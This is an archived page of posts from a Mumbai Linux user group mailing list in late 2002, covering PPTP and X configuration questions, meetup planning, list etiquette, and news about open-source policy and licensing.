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[OT] Athlon Omlette Sandwich Recipe ???
by vinayak_hegde＠softhome.net 02 Dec '02

02 Dec '02

Hello Luggers, I just couldn't resist sending this on the mailing list. The story of the man who fried an egg on a Athlon 1500+. I am not joking. It is complete with pictures and with Athlon Omlette Sandwich Recipe ;) here's the link http://www.handyscripts.co.uk/egg.asp ************** Vinayak Hegde APGDST Student NCST-Juhu **************

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Re:[ILUG-BOM] how bout a free os anthem??
by Sankha Subhra Som 02 Dec '02

02 Dec '02

>dont know if u've heard this, but its by metallica >its called "Nothing Else Matters" [snip] Yep its a mesmerising number, but dunno how pleased Metallica is going to be wen they hear bout your plan grande. Remember wat happened to Napster. Sankha -- SANKHA SUBHRA SOM ATC - BIOINFORMATICS TCS KLK BUILDING. HYDERABAD-1 Ph:(040)6787980-1024 ******************************************************** An anonymous digitoid ******************************************************** OK, who stopped payment on my reality check?

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meeting in KReSIT on 8th
by Sameer D. Sahasrabuddhe 02 Dec '02

02 Dec '02

Hi all, We can have a LUG meet at KReSIT, IIT Bombay on the 8th of Dec if all are interested. We have a choice between a classroom that can seat 50 people and the audi that can seat 200. I have temporarily booked both. Gods of the list, please confirm the meet, so that I can also announce on the IITB newsgroups. Is Sunday 4pm fine? Can't expect too many people from IIT, since most have left for home for the winter vacation. Jaju and Chetan please note, I won't be present on 8th. We need to ensure ITA takes care of the tea arrangements. I'll also try to see if I can get more details about the new "Affordable Computing Lab" that Prof. Phatak is planning in the dept. Agenda for the meet? Sameer. -- MTech Student, Reconfigurable Computing Lab, KReSIT, IIT-Bombay. ---------------------------------------------------------------------- You will be a winner today. Pick a fight with a four-year-old.

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PPTP on Linux
by Girish Hanchate 02 Dec '02

02 Dec '02

Dear Devendra, Go to http://www.poptop.org & download the 1.01 version of PPTP.tar.gz file. rgds girish Hi I have been trying to make my Linux kernel MPPE and PPTP aware. Tried downloading the i386.rpms (for pptp and mppe) from pptpclient.sourceforge.net and proceeded as per the James Cameron's howto (for Psyche - RH 8.0). http://pptpclient.sourceforge.net/howto-redhat-80.phtml But, after proceeding through the entire cycle of rebuilding kernel modules et al, I still get a message (from pptp-command) that kernel is not supporting pptp. a) pppd daemon does not start...same excuse. Kernel release version 2.4.18-14 b) On further investigation (modprobe -v pptp or mppe); it shows up an error in a file called ppp_generic.o saying 'uresolved symbol' at various lines of code. c) # kernel-modules/kmodinst.sh kernel-modules/new-2.4.18-14/ When i perform this action ...module dependencies command returns some errors. Has anyone had any success in the same? Pls help...as I need to connect to my Cable ISP's VPN box (thru ethernet) to access email. Regards Deven PS - __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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is India IT Club Newsletter useful for us?
by Gurpreet Singh 02 Dec '02

02 Dec '02

hi ppl i intended to start a discussion on whether posting on the newsletter at http://www.geocities.com/tonysingh4u/Ind_IT_Club_Nletter.doc cud be useful for us?? plz go thru it ppl and give ur views..... regards Gurpreet ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/ Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------------------------------- M A K E Y O U R O W N R O A D --------------------------------------------------------------------

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how bout a free os anthem??
by Gurpreet Singh 02 Dec '02

02 Dec '02

hi fellas i was just thinking... how bout an anthem for the movement?? i think this one wud be gud. dont know if u've heard this, but its by metallica its called "Nothing Else Matters" and it goes... So close no matter how far couldn't be much more from the heart forever trusting who we are and nothing else matters never opened myself this way [opening us to free os] life is ours, we live it our way [life is our n we have have ourchoice] all these words I don't just say [we just dont say, we do] and nothing else matters trust I seek and I find in you [we find trust in free os] every day for us something new [we have somethin new every day:)] open mind for a different view [ya ours is a diff view] and nothing else matters never cared for what they do [dont care for criticism] never cared for what they know ['coz we know more] but I know so close no matter how far couldn't be much more from the heart forever trusting who we are and nothing else matters never cared for what they do never cared for what they know but I know never opened myself this way [free os was an eyeopener] life is ours, we live it our way all these words I don't just say trust I seek and I find in you every day for us something new open mind for a different view and nothing else matters never cared for what they say never cared for games they play [they call it business policies] never cared for what they do [$100 million?? ] never cared for what they know and I know so close no matter how far couldn't be much more from the heart forever trusting who we are no nothing else matters ---------------------------------------- now how was that?? not written with free os in mind but still quite a match, it has the spirit. try n listen to it once, even the music has that feeling of freedom. may be we can play this at linux lunacy?? what say trevor?? comments pls... regards gurpreet ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/ Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------------------------------- M A K E Y O U R O W N R O A D --------------------------------------------------------------------

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[OT] Jumping Ships?
by Amol Hatwar 01 Dec '02

01 Dec '02

A top European Commission official has left to join the Microsoft Corp, just weeks before he was due to give his opinion on the European antitrust lawsuit against the company. Get the details here: http://www.taipeitimes.com/News/bizfocus/archives/2002/12/01/185518

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Re: [ILUG-BOM] How to install a distro from the hard-disk
by sameer shinde 01 Dec '02

01 Dec '02

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Redhat 8 CD's
by John Clegg 30 Nov '02

30 Nov '02

Hi I was wondering if you can tell me if there is anyone selling Redhat 8 installation CD's here in mumbai Thanks John Clegg Chief Technology Officier Baazee.com http://www.baazee.com <http://www.baazee.com/>

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Re: Commercial ILUG...
by Natarajan V 30 Nov '02

30 Nov '02

Hi, Sorry for the late reply, i was not available to read my mails and answer them over the week. Well, I think I sparked off an unnecessary argument over "Commercialisation". Am with Trover. Generally LUGs are supposed be there, so that we can SHARE knowldge. What I meant by Commercial interests in some LUGs is that, some of them are promoted and funded/aided by commercial organizations, with an optional internal MOTO. This is what I meant by "commercial LUG", and not charging for help mails.. Hey come on... even M$ gives FREE help over newsgroups...!!!!! (surprising, but it does give, SOMETIMES). Of course, if any one wants to go in person and help them, or have their own interests, in answering a question, they can do it in a commercial way..... Cheers Natarajan ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/

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Re: Re: [ILUG-BOM] is India IT Club Newsletter useful for us?
by Gurpreet Singh 30 Nov '02

30 Nov '02

On Sat, 30 Nov 2002 Vinayak Hegde wrote : >Gurpreet Singh wrote: > >>hi ppl >>i intended to start a discussion on whether posting on the >>newsletter at >>http://www.geocities.com/tonysingh4u/Ind_IT_Club_Nletter.doc cud >>be useful for us?? plz go thru it ppl and give ur views..... > >I did go through the article and it may be a good vehicle to >propagate the Free S/W philosophy. >Let me know if you need someone to write a article. I will >happily volunteer to do so. [snip] thats gr8... >Because awareness is the key in this campaign, we should make use >of whatever resources are available. [snip] anymore ppl who wud like to spread some awareness thru?? gurpreet > >--> Vinayak Hegde > > >_______________________________________________ >http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/ Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------------------------------- M A K E Y O U R O W N R O A D --------------------------------------------------------------------

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Government of India endorses and sponsors Linux Bangalore/2002
by Vinayak Hegde 30 Nov '02

30 Nov '02

Hello Luggers, At last better sense prevails after BGs visit. Here's the link to the whole article. http://lwn.net/Articles/16808/ Also This makes good reading. has a RobinHood kinda feel to it. http://atulchitnis.net/writings/rising-1.php :-) ciao Vinayak Hegde

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TCP/IP stack tuning
by kishor bhagwat 30 Nov '02

30 Nov '02

hi folks, can someone give/point some tips for tuning the tcp/ip stack on a linux box for handling really large number of connections...? how would this tuning be different from tuning for fast routing? disclaimers: 1) i'm searching myself on the net and i hve a few ideas...just want to know if someone here has done something like this and what is their experience. 2) i'm not looking for commercial support regds, kishor __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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How to install a distro from the hard-disk
by ether＠indbazaar.com 30 Nov '02

30 Nov '02

Hello! I have an iso image of installable linux on my hard-disk. No CD. Any idea how to use this image? As in, how to install linux from the hard-disk? Thanks a ton for helping. :) Regards, -shruti _____________________________________________________________________________ If you don't have an account at http://myspace.indbazaar.com , you're missing out on split-second e-mail, 25 MB net space and lots of other goodies...

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Need gurus to guide youngsters in GNU/Linux projects
by Frederick Noronha 30 Nov '02

30 Nov '02

This is Trevor Warren's baby... and I'm trying to help. The Project Resource Centre mailing list is trying to help students in finding suitable GNU/Linux projects. Could you spare some time in acting as a guru/mentor for these young minds? Someone said: "The grand essentials of happiness are: some thing to do, something to love and something to hope for..." There's a bit of all three in the above idea. Let's take it further. Please see http://mail.sarai.net/mailman/listinfo/prc Do sign up there. FN -- Frederick Noronha * Freelance Journalist * Goa * India 832.2409490/2409783 BYTESFORALL www.bytesforall.org * GNU-LINUX http://linuxinindia.pitas.com fred at bytesforall dot org * Mobile 9822 122436 (Goa) * Saligao Goa India Writing with a difference ... on what makes *the* difference Pascal - A programming language named after a man who would turn over in his grave if he knew about it.

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mailing list policies
by Sameer D. Sahasrabuddhe 30 Nov '02

30 Nov '02

Quoting from the welcome message that *every* new member on this list receives. And yes, these guidelines are really, really old and have been around since the LUG was started. Please adhere to them; I would like to request the admin to use the 15th point. This should settle all the recent crappy mails once and for all. Now I wonder how many people actually read guidelines. Peronal opinions ... bah! Sameer. ILUG-Bom Mailing List participation Guidelines ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 2. When quoting another person, edit out whatever isn't directly applicable to your reply. Don't let your mailing software automatically quote the entire body of messages you are replying to when it's not necessary. Take the time to edit any quotations down to the minimum necessary to provide context for your reply. Nobody likes reading a long message in quotes for the third or fourth time, only to be followed by a one line response: "Yeah, me too." Messages larger than 10k will not be posted immediately. Such messages will need the list admins approval. 5. Limit line length to approximately 65-70 characters and avoid control characters. 11. Please provide URL's to articles wherever possible. Avoid cutting and pasting whole articles especially considering the fact that all may not be interested. In any case your posting maynot be more than 10k. Occassionally if you may have to send such a mail, post it, it will reach the members after the list admin approves it. 15. Any violation to the above will be given a warning. 5 such warnings and the subscriber will be suspended from the mailing list for 15 days. Compiled by - G.Sagar. (with a few additions by Nagarjuna G. and Sandesh Rao)

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[OT] Can Indians learn ??
by Tushar Mavani 30 Nov '02

30 Nov '02

hi ppl, this guys still do linux ..... _______________________________________________ Burkina Faso LUG up and running The West African nation of Burkina Faso now has its first Linux User Group, despite being one of the poorest countries on Earth. The Association Burkinabe Utilisateurs des Logiciels Libres has 50 members, trained by local Linux gurus. Next time you are tempted to moan about the poor state of broadband in your area, consider that in the case of Burkina Faso, the entire country has to share one 4Mb pipe !!!! http://www.linuxandmain.com/modules.php?name=News&file=article&sid=292 _______________________________________________ Special Thanks to: daniel(a)linuxuser.co.uk india has better resources than these guys .... so can we finally realise our potential ?? bye, T __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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[OT] Can Indians learn ??
by Tushar Mavani 30 Nov '02

30 Nov '02

hi ppl, this guys still do linux ..... _______________________________________________ Burkina Faso LUG up and running The West African nation of Burkina Faso now has its first Linux User Group, despite being one of the poorest countries on Earth. The Association Burkinabe Utilisateurs des Logiciels Libres has 50 members, trained by local Linux gurus. Next time you are tempted to moan about the poor state of broadband in your area, consider that in the case of Burkina Faso, the entire country has to share one 4Mb pipe !!!! http://www.linuxandmain.com/modules.php?name=News&file=article&sid=292 _______________________________________________ Special Thanks to: daniel(a)linuxuser.co.uk india has better resources than these guys .... so can we finally realise our potential ?? bye, T __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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x shifts to right
by Ninad Purohit 30 Nov '02

30 Nov '02

hi i have configured X hubndreds of times but i haven't been able to find out why my X display shifts to the right i know this has something to do with the horizontal frequency settings of my monitor but what exactly? is there any way to save the adjustments made by xvidtune . i tried manually editing my XF86Config-4 but it didnot work i remember XF86Setup had an option to do so but redhat has deprecated it it still works in freebsd though can anybody help me out on this ===== ninad purohit have a nice day :-) ________________________________________________________________________ Missed your favourite TV serial last night? Try the new, Yahoo! TV. visit http://in.tv.yahoo.com

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sys admin
by slash_axl_rose_upen 29 Nov '02

29 Nov '02

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India IT club newsletter.... can we benefit from it??
by Gurpreet Singh 29 Nov '02

29 Nov '02

hello luggerz look at this http://www.geocities.com/tonysingh4u/Ind_IT_Club_Nletter.doc i came across this newsletter which comes from the Tokyo office of India Trade Promotion Organization(the organization which runs the pragati maidan in delhi, it also has an export promotion deptt). The compiler of this newsletter Mr. N.K. Sehgal is a close family friend of ours. I am not too sure about the audience of this newsletter but it must be going to the big export houses related to s/w exports in japan and india, and also to a few more people... now, i think i can convince mr sehgal to bail out some space for our GNU cause on his newsletter. but this comes at a later stage. ******************************************************************* ****i would like some of u experienced people to analyze the newsletter and try to determine if it can be a useful platform for us.******* **************************************************************** if u guys say that this shud be done, i'll **try** my part of convincing him. so go on people, the newsletter is up at http://www.geocities.com/tonysingh4u/Ind_IT_Club_Nletter.doc (now this is in M$ word format, dont flame me for that, i didnt make it :D) ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/ Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------- M A K E Y O U R O W N R O A D ---------------------------------------------

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Commercial ILUG
by Amol Hatwar 29 Nov '02

29 Nov '02

Hi, Natrajan's information regarding ILUG Chennai sent a lot of my cells racing. I agree that free support is a good thing. But then what about the people whom we support that work for commercial organizations? Lets take a hypothetical case: Mr. A works for ABC Corp. who has investments in Linux in terms of development, support and even customers. Now Mr. A is a fresher and doesn't know GNU/Linux much... a Perl based project comes up, and then he runs helter skelter for help. Mr. Cool is cool with GNU/Linux and yes he knows Perl! Mr. Cool helps Mr. A out with difficulties... and ABC Corp doles the project out... because Mr. A completed it on time. Mr. A agined... ABC Corp. gained... what did Mr. Cool gain? Now I am not cool with that. Maybe I won't go with what ILUG Chennai does... but yes maybe we can charge support requests from commerical organisations. (That will help me tolerate those irritating signatures). Charging will also mean one more thing... people will look carefully at the list archives before winging something in. Regards, -ah

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ASUS 3005 32 mb on RedHat 7.3
by Bentzy Sagiv 29 Nov '02

29 Nov '02

>>Hello, >>I just installed PCQ Redhat 7.1. on my new P4 1.5 on 10gb hdd with = >>win2000 insstalled on the 40gb. >>i am able 2 run both win200 and linux with dual booting=20 >>my prob is that in haste i forgot to configure the vga card, i have asus = >>v3005 32mb, this was not shown in the list. i learnt from a friend that = >>i could've used sis 300 (is it in the list shown by redhat??). =20 >>now i am not able 2 startx. >>my question is how do i configure X windows to take the correct drivers = >>for with re-installing linux all over again. >>my vga card is agp asus v3005 32mb ram >>monitor is lg studioworks 563N >>please help! =20 >>nilesh Hi Nilesh! I have exactly the same problem!!!!!!!Have you the solution?? I have RHL 7.3. My monitor is proview 772 Thank you at advance. Bentzy Sagiv Vidyatel Ltd. bentzy(a)vidyatel.com

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linux lunacy.....talks...debian??
by Gurpreet Singh 29 Nov '02

29 Nov '02

hello this is regarding the talks on the "linux lunacy" trip to be held on the 22nd of dec. can a something be arranged in terms of debian?? a talk may be that wud make people get over the fear of those 7 big CDs , pick them up and start installing. Maybe something that says why debian is a better choice(i've just heard people saying this, no flames plz :D).. and if can also include a quick installation touches, it'd be great. any volunteers?? regards Gurpreet ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/ Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------- M A K E Y O U R O W N R O A D ---------------------------------------------

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linux lunacy.....talks...debian??
by Gurpreet Singh 29 Nov '02

29 Nov '02

hello this is regarding the talks on the "linux lunacy" trip to be held on the 22nd of dec. can a something be arranged in terms of debian?? a talk may be that wud make people get over the fear of those 7 big CDs , pick them up and start installing. Maybe something that says why debian is a better choice(i've just heard people saying this, no flames plz :D).. and if can also include a quick installation touches, it'd be great. any volunteers?? regards Gurpreet ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/ Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------- M A K E Y O U R O W N R O A D ---------------------------------------------

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India IT club newsletter.... can we benefit from it??
by Gurpreet Singh 29 Nov '02

29 Nov '02

hello luggerz look at this http://www.geocities.com/tonysingh4u/Ind_IT_Club_Nletter.doc i came across this newsletter which comes from the Tokyo office of India Trade Promotion Organization(the organization which runs the pragati maidan in delhi, it also has an export promotion deptt). The compiler of this newsletter Mr. N.K. Sehgal is a close family friend of ours. I am not too sure about the audience of this newsletter but it must be going to the big export houses related to s/w exports in japan and india, and also to a few more people... now, i think i can convince mr sehgal to bail out some space for our GNU cause on his newsletter. but this comes at a later stage. ******************************************************************* ****i would like some of u experienced people to analyze the newsletter and try to determine if it can be a useful platform for us.******* **************************************************************** if u guys say that this shud be done, i'll **try** my part of convincing him. so go on people, the newsletter is up at http://www.geocities.com/tonysingh4u/Ind_IT_Club_Nletter.doc (now this is in M$ word format, dont flame me for that, i didnt make it :D) ________________________________________________________________ NIIT supports World Computer Literacy Day on 2nd December. Enroll for NIIT SWIFT Jyoti till 2nd December for only Rs. 749 and get free Indian Languages Office software worth Rs. 2500. For details contact your nearest NIIT centre, SWIFT Point or click here http://swift.rediff.com/ Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------- M A K E Y O U R O W N R O A D ---------------------------------------------

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Re: Re: [ILUG-BOM] 23 ppls registered callin for more.....linux-l unacy
by Nikhil Kale 29 Nov '02

29 Nov '02

BTW ... is there anyway i can remove my name from the list i.e. the guys coming for the picnic? i cant make it on 8th. Regards, Nikhil ----- Original Message ----- From: "Saswata Banerjee & Associates" <scrap(a)saswatabanerjee.com> Date: Wed, 27 Nov 2002 19:59:42 +0530 To: <linuxers(a)mm.ilug-bom.org.in> Subject: Re: Re: [ILUG-BOM] 23 ppls registered callin for more.....linux-lunacy > One of my collegues, who is not on this list, wants to come along. Is there > any restriction on that ? > > Regards > Saswata > > ----- Original Message ----- > From: "Trevor Warren" <trevor.w(a)media.mit.edu> > To: <linuxers(a)mm.ilug-bom.org.in> > Cc: <trevor.w(a)media.mit.edu> > Sent: Wednesday, November 27, 2002 1:21 PM > Subject: Fw: Re: [ILUG-BOM] 23 ppls registered callin for > more.....linux-lunacy > > > > > > On Mon, 25 Nov 2002 19:33:02 +0530 > > "Amol Hatwar" <rollacosta(a)phreaker.net> wrote: > > > > > > > > > > Hello Luggers.... > > > > > > > > http://mlasia.mine.nu/ilug/showwho.php > > > > > > > > 17pple and calling for more.... > > > > > > > Roll me in! > > [snip] > > > > Pls sign up dear. The url is as stated above. Just remove the > > showwho.php. > > > > Also...call all of those to-be lugger who wanna have fun and learn > > too..:) > > > > Bye for now. > > > > Trevor > > > > > > > > > > > > > > > > Amol Hatwar > > > > > > -- > > ( >- GNU/LINUX, It's all about CHOICE -< ) > > /~\ __ http://www.qmailtheeasyway.com __ /~\ > > | \) / mailto: trevor.w(a)media.mit.edu \ (/ | > > |_|_ \ Research Asst, MediaLab / _|_| > > \___________________________________/ > > > > > > _______________________________________________ > > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > > > > > > -- > > ( >- GNU/LINUX, It's all about CHOICE -< ) > > /~\ __ http://www.qmailtheeasyway.com __ /~\ > > | \) / mailto: trevor.w(a)media.mit.edu \ (/ | > > |_|_ \ Research Asst, MediaLab / _|_| > > \___________________________________/ > > > > > > _______________________________________________ > > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > > > > > > > _______________________________________________ > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > > Nikhil Kale Software Engineer. Mahindra British Telecom Ltd. NikhilKale(a)linuxmail.org NikhilKale(a)indiatimes.com -- ______________________________________________ http://www.linuxmail.org/ Now with POP3/IMAP access for only US$19.95/yr Powered by Outblaze

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Group urges limits on open source
by Kiran Nadgir 29 Nov '02

29 Nov '02

The U.S. Defense Department should think twice before embracing open-source software, a trade association is advising. The Initiative for Software Choice, which counts Microsoft, Cisco Systems and Intel among its backers, said in comments filed Tuesday that the department should "avoid crafting needless and potentially detrimental IT policy to promote the use" of open-source software. "Open source" means every software developer can view the source code for software, modify it, and use it for free. The initiative, which launched in May and is chaired by a group called CompTIA, an organization that has close ties to Microsoft, is worried about a recent report that concluded the Defense Department relies on open-source software and recommended its further adoption. Written by defense contractor MITRE, the report said that free and open-source software "plays a more critical role in the (Defense Department) than has been generally recognized" and endorsed it as a viable alternative to proprietary Microsoft products. This week, the Initiative for Software Choice counterattacked, telling the Defense Information Systems Agency that the Pentagon should not "openly promote the use" of open-source software, arguing that proprietary products are not inherently less secure. The group also assailed the General Public License (GPL), which generally permits programmers to incorporate code released under the GPL as long as they make their own source code available. "While the law on this matter remains untested, it makes sense for companies to be highly risk-averse in this area, striking a more defensive posture when confronted with software development that may implicate GPL code or similar coding environments," the initiative said. "Commercial and hybrid software developers generally do not want to risk losing their investment." Proprietary software companies such as Microsoft have labeled open-source software as a serious threat and have begun to oppose its use by governments. At the same time, however, nations such as France and Germany have begun to encourage open-source software to limit their dependence on proprietary vendors and to stimulate local software development. ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ " If I have seen farther than other men, it is because I stood on the shoulders of giants." Sir Isaac Newton ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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your security on the Internet
by kishor bhagwat 29 Nov '02

29 Nov '02

Hello folks, chk out this link if you use a Winbox http://drorshalev.brinkster.net/dev/ Those without a winbox shld try this link on their friends' machines! Try some of the stuff under Free Style, it gives a good demo of how unsafe you are in the wild world of the Internet! regds, aaaaarrrgghhh __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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Software license tied to human rights
by Kiran Nadgir 29 Nov '02

29 Nov '02

Link to the article - http://news.com.com/2100-1023-975638.html?tag=lh Move over, free software. Step aside, today's open-source licenses. Software distributed under an "enhanced source" license released this week will be legally prohibited from censoring or spying on users. Crafted by Hacktivismo, a hacking group organized by the Cult of the Dead Cow, the Hacktivismo enhanced-source software license agreement says that anyone using code released under it must respect privacy, free expression, due process and other human rights. HESSLA comes as concern is growing over governments using technology such as blocking software to restrict what their citizens can do or say online. In September, House Republicans released a report titled "Tear Down This Firewall," and this week, Amnesty International published a report highlighting China's crackdown on Internet use. "The Hacktivismo enhanced-source software license agreement marks the first time technology transfer has been linked to protecting human rights," said Oxblood Ruffin, founder of Hacktivismo. "Our clients and end-users aren't building the firewalls to keep democracy out. They're locked inside trying to break free." In July, Ruffin published a manifesto that referenced the United Nations' Universal Declaration of Human Rights and said Internet censorship is "a serious form of organized and systematic violence against citizens, is intended to generate confusion and xenophobia and is a reprehensible violation of trust." Hacktivismo's license says that any government that violates human rights is prohibited from using software released under it. The "enhanced source" license intentionally tracks much of the language of the well-known General Public License and borrows most of the GPL's concepts, such as the one that says anyone incorporating code released under the license in their program must also make the source code of their program available. In fact, Hacktivismo recommends that programmers release their code under both licenses. One problem Hacktivismo might encounter is that the current license is so broad it discourages developers from using it. For instance, it bans governments, individuals and corporations from any "monitoring of individuals," which might apply to popular network monitoring utilities, and bans "filtering" of any expression, which could cover routine utilities such as spam-filtering programs. Another section of the license requires that the creator of any program that uses cryptography for authentication or confidentiality must ensure that the algorithms meet minimum security thresholds. And if any disputes arise involving another nation, the license says, foreign governments relinquish their right of sovereign immunity and agree to be sued in federal court in the United States. The license enables both Hacktivismo and its end-users to go to court if someone tries to use the software in a malicious manner, or to introduce harmful changes into the software. It also contains more robust language than has previously been used to maximize enforcement against governments around the world. The HESSLA explicitly prohibits anybody from introducing "spyware, surveillance technology, or other undesirable code into modified versions of HESSLA-licensed programs." Additionally, the license prohibits any use of the software by any government that has any policy or practice of violating human rights. ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ " If I have seen farther than other men, it is because I stood on the shoulders of giants." Sir Isaac Newton ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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Re: [ILUG-BOM] top posting (was: Redhat 8 CD's)
by Philip S Tellis 29 Nov '02

29 Nov '02

Sameer's signature said: > FORTUNE PROVIDES QUESTIONS FOR THE GREAT ANSWERS: #5 > A: The Halls of Montezuma and the Shores of Tripoli. > Q: Name two families whose kids won't join the Marines. talk about posting answers before questions!!

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LINK: Wanted contacts in embedded software
by Frederick Noronha 29 Nov '02

29 Nov '02

A friend from Japan, Sandor Markon <markon(a)rd.fujitec.co.jp> is a manager of a Japanese manufacturer and is involved with introducing GNU/Linux to the firm. The firm is considering to start outsourcing software projects in India, and is doing an initial survey here. He will be attending LinuxBangalore2002 from Dec 3-5 in Bangalore. "Seeing how active you are on the Indian Linux scene, I wonder if you might want to help me with the initial inquiries, perhaps by introducing me to some people or companies that you know," he writes. If you are working in the field and are interested, please get in touch. He is interested in getting in touch with embedded systems development capacities, software engineering tools, development environment customization etc., "but of course also in more general software capabilities, too". Contact details as below: Sandor Markon FUJITEC Co.Ltd. World HQ, 28-10, Shoh 1-chome, Ibaraki, Osaka, JAPAN Tel: 0726-22-8148 Fax: 0726-22-8274 email: markon(a)rd.fujitec.co.jp -- Frederick Noronha * Freelance Journalist * Goa * India 832.2409490/2409783 BYTESFORALL www.bytesforall.org * GNU-LINUX http://linuxinindia.pitas.com fred at bytesforall dot org * Mobile 9822 122436 (Goa) * Saligao Goa India Writing with a difference ... on what makes *the* difference "A computer lets you make more mistakes faster than any invention in human history... with the possible exception of handguns and tequila." - Anon.

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PPTP on Linux
by Devendra Parulekar 29 Nov '02

29 Nov '02

Hi I have been trying to make my Linux kernel MPPE and PPTP aware. Tried downloading the i386.rpms (for pptp and mppe) from pptpclient.sourceforge.net and proceeded as per the James Cameron's howto (for Psyche - RH 8.0). http://pptpclient.sourceforge.net/howto-redhat-80.phtml But, after proceeding through the entire cycle of rebuilding kernel modules et al, I still get a message (from pptp-command) that kernel is not supporting pptp. a) pppd daemon does not start...same excuse. Kernel release version 2.4.18-14 b) On further investigation (modprobe -v pptp or mppe); it shows up an error in a file called ppp_generic.o saying 'uresolved symbol' at various lines of code. c) # kernel-modules/kmodinst.sh kernel-modules/new-2.4.18-14/ When i perform this action ...module dependencies command returns some errors. Has anyone had any success in the same? Pls help...as I need to connect to my Cable ISP's VPN box (thru ethernet) to access email. Regards Deven PS - A lot of RTFM has already happened, so lemme pre-empt that reply. ;-) ______________________________________________________________________ The information contained in this communication is intended solely for the use of the individual or entity to whom it is addressed and others authorized to receive it. It may contain confidential or legally privileged information. If you are not the intended recipient you are hereby notified that any disclosure, copying, distribution or taking any action in reliance on the contents of this information is strictly prohibited and may be unlawful. If you have received this communication in error, please notify us immediately by responding to this email and then delete it from your system. Ernst & Young is neither liable for the proper and complete transmission of the information contained in this communication nor for any delay in its receipt.

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Mail signatures and Egos :)
by Kiran Nadgir 29 Nov '02

29 Nov '02

well well...somebody's ego trip just doesnt end. Philip for your sake i'll make sure the signal to noise ratio is in control. And its ok if you don't read the content of my mail its never intended for you.Don't trouble yourself so much over diclaimer's and the like, just let them be. Sorry if any more egos were hurt because of my mails. :) rgds, kiran ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ " I'd rather regret things I've done than regret things I never got to do." Leti G. --- Texas This goes for anything in your life. I like to live by this quote. To me, it means that I need to do things I want to do, when I want to do them. I'm not going to get to live my life over again! Sure, sometimes there'll be consequences, but I'd rather say I got to do them. When I grow old and am telling my grand children and great-grand children about my life, I don't want to be wishing I'd done more! ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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plz help me
by vamsi krishna 29 Nov '02

29 Nov '02

